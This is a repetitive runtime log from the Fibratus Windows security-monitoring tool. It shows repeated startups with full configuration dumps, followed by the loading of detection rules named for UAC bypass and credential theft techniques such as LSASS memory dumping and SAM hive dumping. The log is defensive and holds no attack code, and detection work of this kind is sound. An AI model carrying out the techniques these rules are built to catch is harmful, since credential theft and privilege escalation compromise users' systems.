config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false stack-enrichment=>true enable-image=>true min-buffers=>16 enable-handle=>false enable-fileio=>true flush-interval=>1s enable-mem=>false buffer-size=>512 enable-thread=>true enable-threadpool=>true enable-net=>true enable-audit-api=>true max-buffers=>36 enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-backups=>15 max-age=>0 max-size=>100 log-stdout=>true formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus durable=>false delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 passive=>false routing-key=>fibratus timeout=>5s vhost=>/] elasticsearch=>[ trace-log=>false timeout=>5s sniff=>false healthcheck-interval=>10s template-name=>fibratus healthcheck-timeout=>5s index-name=>fibratus healthcheck=>true servers=>[http://127.0.0.1:9200] flush-period=>1s enabled=>false gzip-compression=>false bulk-workers=>1] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ serializer=>json enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s endpoints=>[]]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false excluded-files=>[] skip-mmaps=>false excluded-procs=>[] fastscan=>true skip-allocs=>false skip-registry=>false scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-28T15:53:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T15:53:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T15:53:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T15:53:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T15:53:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T15:53:51+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T15:53:51+01:00 level=info msg=bootstrapping with pid 11824. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T15:53:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] content-type=>text/html use-template=>true enabled=>false port=>25] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-dns=>false enable-handle=>false buffer-size=>512 enable-vamap=>true enable-threadpool=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-thread=>true enable-image=>true enable-mem=>false max-buffers=>36 enable-fileio=>true enable-audit-api=>true flush-interval=>1s enable-registry=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-age=>0 log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ http=>[ serializer=>json timeout=>5s tls-insecure-skip-verify=>false method=>POST enabled=>false endpoints=>[] enable-gzip=>false] amqp=>[ exchange=>fibratus routing-key=>fibratus timeout=>5s enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient exchange-type=>topic passive=>false vhost=>/ durable=>false] elasticsearch=>[ index-name=>fibratus trace-log=>false bulk-workers=>1 flush-period=>1s enabled=>false sniff=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false healthcheck-interval=>10s] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false excluded-files=>[] skip-registry=>false enabled=>false excluded-procs=>[] skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-28T15:53:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T15:53:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:07:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T16:07:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:07:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:07:55+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T16:07:55+01:00 level=info msg=bootstrapping with pid 14184. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T16:07:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ content-type=>text/html to=>[] enabled=>false use-template=>true port=>25] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-dns=>false enable-handle=>false stack-enrichment=>true flush-interval=>1s buffer-size=>512 enable-registry=>true max-buffers=>36 enable-mem=>false enable-vamap=>true enable-audit-api=>true enable-net=>true enable-thread=>true min-buffers=>16 enable-fileio=>true enable-threadpool=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 log-stdout=>true level=>info max-age=>0 formatter=>text] + output ......................... [ http=>[ serializer=>json enabled=>false tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s method=>POST enable-gzip=>false] amqp=>[ url=>amqp://localhost:5672 durable=>false exchange=>fibratus delivery-mode=>transient routing-key=>fibratus enabled=>false passive=>false timeout=>5s exchange-type=>topic vhost=>/ tls-insecure-skip-verify=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-timeout=>5s index-name=>fibratus sniff=>false healthcheck-interval=>10s gzip-compression=>false flush-period=>1s bulk-workers=>1 healthcheck=>true trace-log=>false template-name=>fibratus timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false fastscan=>true skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] scan-timeout=>10s enabled=>false skip-registry=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-28T16:07:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:07:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:08:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T16:08:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:08:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:33:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T16:33:59+01:00 level=info msg=bootstrapping with pid 20048. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T16:33:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html enabled=>false to=>[] use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ max-buffers=>36 enable-image=>true flush-interval=>1s enable-audit-api=>true enable-dns=>false buffer-size=>512 enable-registry=>true enable-net=>true enable-thread=>true enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true stack-enrichment=>true enable-vamap=>true enable-handle=>false min-buffers=>16 enable-threadpool=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info formatter=>text max-age=>0 max-size=>100 max-backups=>15] + output ......................... [ elasticsearch=>[ bulk-workers=>1 trace-log=>false healthcheck-interval=>10s sniff=>false healthcheck=>true timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s enabled=>false template-name=>fibratus gzip-compression=>false] amqp=>[ enabled=>false timeout=>5s vhost=>/ durable=>false exchange=>fibratus tls-insecure-skip-verify=>false exchange-type=>topic routing-key=>fibratus delivery-mode=>transient passive=>false url=>amqp://localhost:5672] http=>[ endpoints=>[] enabled=>false method=>POST enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false serializer=>json] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true enabled=>false skip-allocs=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false scan-timeout=>10s skip-mmaps=>false skip-registry=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-28T16:33:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:34:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:34:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T16:34:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:34:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:50:37+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-11-28T16:50:37+01:00 level=info msg=bootstrapping with pid 18288. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-11-28T16:50:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html port=>25 enabled=>false use-template=>true to=>[]] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 enable-dns=>false flush-interval=>1s enable-threadpool=>true enable-audit-api=>true enable-fileio=>true enable-thread=>true min-buffers=>16 enable-image=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-handle=>false enable-registry=>true stack-enrichment=>true max-buffers=>36 enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text level=>info max-size=>100 max-age=>0] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ vhost=>/ tls-insecure-skip-verify=>false delivery-mode=>transient passive=>false timeout=>5s durable=>false enabled=>false url=>amqp://localhost:5672 exchange-type=>topic exchange=>fibratus routing-key=>fibratus] eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json enable-gzip=>false timeout=>5s endpoints=>[] method=>POST enabled=>false tls-insecure-skip-verify=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] flush-period=>1s bulk-workers=>1 enabled=>false timeout=>5s gzip-compression=>false sniff=>false trace-log=>false healthcheck=>true template-name=>fibratus index-name=>fibratus healthcheck-timeout=>5s healthcheck-interval=>10s]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] fastscan=>true skip-allocs=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-mmaps=>false excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-11-28T16:50:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:50:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:52:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:155 +time=2025-11-28T16:52:42+01:00 level=info msg=bootstrapping with pid 3216. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-11-28T16:52:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ port=>25 content-type=>text/html enabled=>false use-template=>true to=>[]] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-vamap=>true max-buffers=>36 stack-enrichment=>true flush-interval=>1s buffer-size=>512 min-buffers=>16 enable-fileio=>true enable-registry=>true enable-threadpool=>true enable-handle=>false enable-mem=>false enable-thread=>true enable-dns=>false enable-audit-api=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-backups=>15 max-age=>0 formatter=>text level=>info] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ enabled=>false level=>info] http=>[ enabled=>false tls-insecure-skip-verify=>false method=>POST serializer=>json endpoints=>[] timeout=>5s enable-gzip=>false] elasticsearch=>[ healthcheck=>true servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck-interval=>10s gzip-compression=>false healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s bulk-workers=>1 template-name=>fibratus enabled=>false trace-log=>false sniff=>false] amqp=>[ exchange=>fibratus url=>amqp://localhost:5672 passive=>false exchange-type=>topic durable=>false timeout=>5s delivery-mode=>transient enabled=>false routing-key=>fibratus tls-insecure-skip-verify=>false vhost=>/]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] skip-mmaps=>false skip-registry=>false scan-timeout=>10s skip-files=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-11-28T16:52:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:52:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:53:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T16:53:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:53:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:53:31+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-28T16:53:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:53:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-28T16:53:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-28T16:53:31+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-11-28T16:53:31+01:00 level=info msg=bootstrapping with pid 15120. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-11-28T16:53:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 to=>[] use-template=>true content-type=>text/html enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true enable-thread=>true enable-threadpool=>false max-buffers=>36 enable-vamap=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-mem=>true enable-handle=>false buffer-size=>512 enable-registry=>true stack-enrichment=>true enable-dns=>false min-buffers=>16 flush-interval=>1s enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 max-age=>0 formatter=>text log-stdout=>true level=>info] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s enabled=>false trace-log=>false healthcheck=>true template-name=>fibratus gzip-compression=>false sniff=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus bulk-workers=>1 healthcheck-interval=>10s timeout=>5s flush-period=>1s] amqp=>[ passive=>false delivery-mode=>transient exchange=>fibratus timeout=>5s exchange-type=>topic enabled=>false routing-key=>fibratus vhost=>/ durable=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s enabled=>false serializer=>json method=>POST] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-registry=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-mmaps=>false fastscan=>true skip-files=>false scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-11-28T16:53:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:53:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:54:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T16:54:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:54:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:54:50+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-28T16:54:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml 